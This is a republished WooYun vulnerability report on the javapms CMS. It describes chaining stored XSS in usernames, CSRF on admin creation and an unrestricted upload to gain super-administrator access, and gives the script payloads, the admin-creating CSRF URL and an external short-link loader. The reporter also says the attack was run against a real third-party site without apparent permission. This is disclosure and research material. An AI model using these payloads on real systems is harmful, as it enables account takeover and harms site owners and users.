开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

admin 2015年4月26日16:07:44评论370 views字数 249阅读0分49秒阅读模式
摘要

2014-07-11: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商已经确认,细节仅向厂商公开
2014-07-17: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-09-07: 细节向核心白帽子及相关领域专家公开
2014-09-17: 细节向普通白帽子公开
2014-09-27: 细节向实习白帽子公开
2014-10-07: 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号: WooYun-2014-67865

漏洞标题: 开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限 开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

相关厂商: javapms.com

漏洞作者: 路人甲

提交时间: 2014-07-11 14:58

公开时间: 2014-10-07 15:00

漏洞类型: XSS跨站脚本攻击

危害等级: 中

自评Rank: 10

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

0人收藏


漏洞详情

披露状态:

2014-07-11: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商已经确认,细节仅向厂商公开
2014-07-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-07: 细节向核心白帽子及相关领域专家公开
2014-09-17: 细节向普通白帽子公开
2014-09-27: 细节向实习白帽子公开
2014-10-07: 细节向公众公开

简要描述:

javapms存在存储型跨站,新建管理员功能存在CSRF,二者结合起来可以新建管理员账号。

详细说明:

这个用到了javapms系统的3个漏洞:一个存储型XSS、一个新建管理员功能的CSRF和一处允许html文件的上传漏洞。一一道来:

存储型XSS:

代码中输出用户名的地方很多没有进行html编码,通过评论或者其他办法让自己的带有跨站代码的用户名被当作脚本输出,可以对浏览页面的用户造成跨站脚本攻击。

注册用户名为:

<script>alert(/xss/)</script>

注册时,只在前端对用户名特殊字符进行了限制,通过抓包提交即可。

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

这个弹窗是因为登录后左上角显示用户名造成的,如何让其他用户一打开首页就中招呢?

看这里:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

试试狂评论一篇文章:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

就评这篇文章,评论完退出账号,再打开网站首页:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

滚到刚才发表的评论处,跨站被执行了。

CSRF:

管理员新建管理员功能存在CSRF漏洞:

以管理员身份登录后,访问:

http://localhost:8080/javapms/admin/admin/o_save.do?username=test1&email=&password=111111&repassword=111111&realName=&selectdepartId=信息中心&departId=1&mobile=&phone=&manageStatus=2&roleId=1&takeDepart=true

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

想想将二者结合起来,XSS中的脚本写成管理员新建用户的URL,当管理员登录后打开首页,脚本被触发,即可新建用户。

想得是挺好的,怎奈将那么长的URL写进script里以后,报了个500。。。

查下数据库:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

限制了50个字符。

于是确定,URL肯定不能直接写到用户名里,想到了短链接。

写了个html:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

把它传到外网的地址上,然后生成个新浪微博短链接:

http://**.**.**.**/RvBI6Es

于是,再注册一个用户,名为:

<script>open("http://**.**.**.**/RvBI6Es")</script>

登录后发表评论,再退出来以管理员身份登录打开首页:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

然后我们用这个账号登录后台试试,后台地址:

http://localhost:8080/javapms/admin/login.do

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

超级管理员哦!

一开始还提到了要用到一个上传漏洞,具体是这样的:

会员中心可以上传头像,这里没有限制文件类型,我们上面要拿来写脚本的html文件,完全可以传到这里:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

提交后,邮件查看图片地址:

http://localhost:8080/javapms//member/upload/pms/201407/041504358c40.html

是不是很方便,由于就在本站下,甚至没有跨域的限制。

漏洞证明:

外网验证:

找个倒霉蛋:

**.**.**.**/

这个站用的就是javapms,按照上面方法传个跨站脚本进去:

这个站似乎有bug,头像上传那里地址解析错误,传错路径了,所以还是先传别的地方吧。。。

注册用户名:

注册用户名:

<script>open("http://**.**.**.**/RvghRk2")</script>

狂发评论后退出。

以一个普通用户登录看看跨站发出去的效果:

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

URL和参数都对,只待管理员权限了。

到目前为止,管理员还没有上首页去触发漏洞,但是漏洞是绝对真实存在的。

试了好几个账号,首页现在被弄得疯狂弹窗口,对不住人家啊。。。

修复方案:

1.修复XSS,进行html编码输出,类似的没有进行编码就输出的点还有几个,我只列出了首页的用户名,此外还有后台的用户名编辑处的用户名邮箱电话什么的,都可能被跨站攻击。这个软件大部分地方编码做的都不错,就是落了几个。

2.进行token验证,防止CSRF。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-14 10:15

厂商回复:

CNVD未直接复现全部测试情况,对于所述情况,已经直接由CNVD转报给开发者公开的联系方式,已发送其网站邮箱中处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin